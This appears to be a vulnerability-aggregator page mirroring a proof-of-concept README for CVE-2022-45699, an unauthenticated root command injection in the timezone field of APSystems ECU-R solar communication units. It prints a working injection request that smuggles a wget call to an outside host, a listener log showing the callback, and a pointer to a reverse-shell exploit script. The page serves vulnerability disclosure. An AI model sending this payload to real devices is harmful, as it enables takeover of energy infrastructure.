CVE-2022-45699 PoC — APsystems Energy Communication Unit 操作系统命令注入漏洞

Source

https://github.com/0xst4n/APSystems-ECU-R-RCE-Timezone

Associated Vulnerability

Title: APsystems Energy Communication Unit 操作系统命令注入漏洞 (CVE-2022-45699)
Description:Command injection in the administration interface in APSystems ECU-R version 5203 allows a remote unauthenticated attacker to execute arbitrary commands as root using the timezone parameter.

Description

 CVE-2022-45699 - APSystems ECU-R is vulnerable to command injection in the timezone field

Readme

# APSystems-DS3-RCE-Timezone
APSystems DS3 is vulnerable to command injection in the timezone field

![demo](demo.png)

```
POST /index.php/management/set_timezone HTTP/1.1
Host: 192.168.1.99

timezone=;wget+192.168.1.87;#
```


```
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.99 - - [11/Nov/2022 14:28:04] "GET / HTTP/1.1" 200 
```

See `exploit.py` for an exploit to obtain a reverse shell

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →